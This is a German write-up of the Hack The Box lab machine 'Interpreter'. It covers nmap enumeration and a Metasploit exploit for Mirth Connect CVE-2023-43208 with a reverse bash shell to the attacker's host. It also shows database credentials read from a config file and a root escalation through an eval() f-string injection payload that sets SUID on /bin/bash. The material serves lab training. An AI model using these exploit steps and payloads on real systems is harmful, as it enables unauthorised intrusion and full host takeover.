HTB · published
Interpreter
HTB Machine Writeup zu Interpreter mit Mirth Connect RCE, lokaler Service-Analyse und f-string eval Privilege Escalation.
Metadaten
- Name: Interpreter
- IP Address:
10.129.244.184 - Plattform: Linux
- Kategorie: Web / Integration Services / Local Privilege Escalation
- Schwierigkeit: Unknown
- Ziel(e): User, Root
- Kurzbeschreibung des Szenarios: Ein Debian-Host betreibt Mirth Connect Administrator 4.4.0. Der initiale Zugriff erfolgt ueber eine pre-auth RCE in Mirth, danach fuehrt ein root-eigener lokaler Flask-Service mit unsicherem
eval()zur Rechteausweitung.
Reconnaissance/ Enumeration
initscan:
nmap -Pn -p- --min-rate 5000 -oA scans/nmap_full_tcp 10.129.244.184
Gefundene TCP-Ports:
22/tcp open ssh
80/tcp open http
443/tcp open https
6661/tcp open unknown
servicescan:
nmap -Pn -sC -sV -O -p22,80,443,6661 -oA scans/nmap_service 10.129.244.184
Wichtige Ergebnisse:
22/tcp OpenSSH 9.2p1 Debian 2+deb12u7
80/tcp Jetty, Mirth Connect Administrator
443/tcp Jetty over TLS, Mirth Connect Administrator, Zertifikat CN=mirth-connect
6661/tcp Mirth channel TCP listener
Die API bestaetigte Mirth Connect 4.4.0:
curl -k -H 'X-Requested-With: OpenAPI' https://10.129.244.184/api/server/version
Mirth Connect 4.4.0 ist fuer CVE-2023-43208 interessant, eine pre-authenticated Deserialization-RCE, die in 4.4.1 behoben wurde.
Exploitation (Foothold)
Der Foothold wurde mit dem passenden Metasploit-Modul erreicht:
msfconsole -q
use exploit/multi/http/mirth_connect_cve_2023_43208
set RHOSTS 10.129.244.184
set RPORT 443
set SSL true
set TARGET 0
set LHOST 10.10.15.121
set LPORT 4444
set payload cmd/unix/reverse_bash
check
run
Die Shell lief als Service-User:
uid=103(mirth) gid=111(mirth) groups=111(mirth)
hostname: interpreter
cwd: /usr/local/mirthconnect
Das System war Debian 12:
Debian GNU/Linux 12 (bookworm)
Linux interpreter 6.1.0-43-amd64
Lateral Movement / User Escalation
Die Datei /usr/local/mirthconnect/conf/mirth.properties enthielt Datenbankzugangsdaten:
database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
database.username = mirthdb
database.password = MirthPass123!
Mit den Credentials konnten die Mirth-Tabellen enumeriert werden:
mysql -u mirthdb -pMirthPass123! mc_bdd_prod -e "show tables;"
Interessante Tabellen waren CHANNEL, CODE_TEMPLATE, CONFIGURATION, EVENT, PERSON und PERSON_PASSWORD. In CHANNEL lag der Workflow INTERPRETER - HL7 TO XML TO NOTIFY, der auf TCP 6661 lauschte, HL7-Felder in XML transformierte und das Ergebnis an folgenden lokalen Dienst schickte:
http://127.0.0.1:54321/addPatient
Die Mirth-Userdaten zeigten den Benutzer sedric und einen PBKDF2-HMAC-SHA256-Hash. Dieser Pfad war fuer das Verstaendnis der Applikation hilfreich, fuer Root aber nicht zwingend noetig.
Privilege Escalation (Root / Domain)
Lokale Enumeration fand einen root-eigenen Flask-Service:
ps auxww | grep notif
ss -lntup
root /usr/bin/python3 /usr/local/bin/notif.py
127.0.0.1:54321 LISTEN
Die systemd-Unit bestaetigte Root-Ausfuehrung:
/etc/systemd/system/notif.service
ExecStart=/usr/bin/python3 /usr/local/bin/notif.py
User=root
WorkingDirectory=/usr/local/bin
Der Endpoint akzeptierte XML-Patientendaten. Input-Tests zeigten, dass Zeichen wie {}, (), Quotes, +, /, ., _ und alphanumerische Zeichen erlaubt waren. Das Verhalten entsprach einer dynamisch gebauten Python-f-string-Auswertung:
eval(f"f'''{template}'''")
Der nutzbare Payload setzte temporaer das SUID-Bit auf /bin/bash:
{__import__('os').system('chmod'+chr(32)+'u+s'+chr(32)+'/bin/bash')}
Ausfuehrung:
python3 shells/notif_eval_privesc.py
ls -l /bin/bash
/bin/bash -p -c 'id'
Proof:
-rwsr-xr-x 1 root root ... /bin/bash
uid=103(mirth) gid=111(mirth) euid=0(root) groups=111(mirth)
Nach dem Proof wurde das SUID-Bit entfernt:
/bin/bash -p -c 'chmod u-s /bin/bash'
Post-Exploitation
- User Flag:
c9137[REDACTED-USER-FLAG]15a4 - Root Flag:
7c4af[REDACTED-ROOT-FLAG]ee32 - Screenshots: nicht als Hauptartefakt genutzt
- Wichtige Dateien:
reports/final_walkthrough.mdloot/user_flag.txtloot/root_flag.txtshells/notif_eval_privesc.pyrecon/local_ipv4.txtrecon/searchsploit_mirth.txt
- Relevante Logs oder Proofs:
- Mirth-Version
4.4.0 - Shell als
mirth /bin/bash -p -c 'id'miteuid=0(root)
- Mirth-Version
Lessons Learned
- Mirth Connect Administrator 4.4.0 ist kritisch, wenn das Admin-Interface erreichbar ist.
- Lokale Integrationsdienste sind nach einem Foothold besonders wertvoll, weil sie oft mit hoeheren Rechten laufen.
- Zeichen-Allowlisting macht
eval()nicht sicher, wenn weiterhin Python-Ausdruckssyntax eingeschleust werden kann. - Gespeicherte Applikationskonfigurationen sind oft der beste Weg, um interne Workflows und lokale Dienste zu verstehen.
Notizen
- Der TCP-Port
6661war der Mirth-Channel-Listener und konnte theoretisch als indirekter Weg zum Notification-Service dienen. - Der direkte localhost-POST aus der
mirth-Shell war schneller und reproduzierbarer. - Der Hash des Mirth-Users
sedricwaere ein alternativer Pfad zu einem User-Kontext gewesen, war fuer Root aber nicht notwendig.